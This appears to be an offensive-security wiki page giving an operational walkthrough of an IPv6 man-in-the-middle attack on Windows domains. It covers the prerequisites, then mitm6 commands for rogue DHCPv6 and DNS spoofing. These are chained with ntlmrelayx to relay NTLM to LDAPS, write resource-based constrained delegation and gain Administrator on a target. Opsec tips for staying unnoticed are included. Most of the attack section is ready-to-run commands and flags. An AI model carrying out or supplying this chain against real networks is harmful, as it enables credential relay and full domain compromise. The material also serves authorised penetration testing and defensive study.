IPv6 MitM
Windows ships with two defaults that make local IPv6 a reliable man-in-the-middle primitive:
- The DHCPv6 client is enabled by default and the host constantly emits
Solicitmessages on the link. - The Windows resolver prefers IPv6 over IPv4. As soon as a host learns an IPv6 default gateway and DNS server, those win over the legitimate IPv4 configuration for name resolution.
By answering the victim's DHCPv6 Solicit first we hand it an attacker-controlled DNS server. From there we own every name it resolves and can either spoof records directly or, more commonly, point the victim at our ntlmrelayx listener (WPAD, target hostname, AD CS web enrollment, ...) to relay NTLM into LDAP / HTTP / SMB.
Prerequisites
- Layer-2 access to the same broadcast domain as the victim. DHCPv6 is link-local and is not routed.
- Victim has DHCPv6 enabled (Windows default) and no host firewall rule blocking DHCPv6 from rogue servers.
- For the chained relay: a target service that does not enforce signing / EPA (LDAP without channel binding, HTTP without EPA, ...) and an authentication primitive (user browsing, WPAD lookup, scheduled task to a file server, coerced auth, ...).
check if IPv6 is preferred over IPv4 (Windows Default)
netsh interface ipv6 show prefixpoliciesDefault output:
Querying active state...
Precedence Label Prefix
---------- ----- --------------------------------
50 0 ::1/128
40 1 ::/0
35 4 ::ffff:0:0/96
30 2 2002::/16
5 5 2001::/32
3 13 fc00::/7
1 11 fec0::/10
1 12 3ffe::/16
1 3 ::/96The Precedence column is the key. A higher number means higher priority. By default:
::/0(global IPv6) has precedence 40::ffff:0:0/96(IPv4-mapped) has precedence 35
This means IPv6 is preferred over IPv4 by default on Windows. This enables DNS6 MitM attacks.
mitm6
mitm6 hands out short-lived IPv6 leases and points the victim at our address as DNS. Always scope the attack with -hw (host whitelist) and -d (domain filter) so we don't black-hole every Windows box on the segment by accident.
Install
mitm6 repo: https://github.com/dirkjanm/mitm6
Install mitm6 with pip install mitm6.
Usage
Mac
sudo python3 mitm6.py -i en14 --debug -hw "computer.example.com" -d "example.com"Linux
sudo mitm6 -i eth0 -hw "computer.example.com" -d "example.com"Windows
mitm6.exe -i eth0 -hw "computer.example.com" -d "example.com"-i en14: interface attached to the victim's broadcast domain.-hw computer.example.com: only reply to DHCPv6Solicitmessages from this single host.-d example.com: only spoof DNS replies for names under this domain (legitimate lookups for everything else still resolve over IPv4).--debug: print every solicit, advertisement and DNS reply (drop once the chain is working).
Chain: mitm6 + ntlmrelayx (RBCD)
The canonical primitive: mitm6 redirects the victim's WPAD lookup (and any internal hostname we choose) to ntlmrelayx, which relays the resulting NTLM auth to LDAP on the DC and writes RBCD on a target computer object.
# Terminal 1 - DHCPv6 + DNS spoof, scoped to one victim and the AD domain
sudo python3 mitm6.py -i en14 --debug -hw "computer.example.com" -d "example.com"
# Terminal 2 - relay to LDAPS, drop a WPAD file, configure RBCD on the target
ntlmrelayx.py -6 -t ldaps://dc01.example.com -wh attacker-wpad --delegate-access-6makesntlmrelayxlisten on IPv6 (where the relayed connection arrives).-wh attacker-wpadserves thewpad.datthat the victim fetches aftermitm6resolveswpad.example.comto us.--delegate-accessauto-creates a computer account (ifMachineAccountQuota > 0) and writes RBCD on the relayed computer object.
Finish the chain with the S4U2Self / S4U2Proxy step from RBCD to obtain Administrator on the target.
Opsec / cleanup
- Always use
-hwand-d. Without scoping,mitm6hands leases to every Windows host on the link and visibly breaks Outlook, Teams, and file shares. - Stop
mitm6cleanly withCtrl-C; it tries to expire leases so victims drop the rogue DNS faster than the 300 s default TTL. - If a victim cached a poisoned record after you stopped, run
ipconfig /flushdnson it or wait for the short TTLmitm6advertises.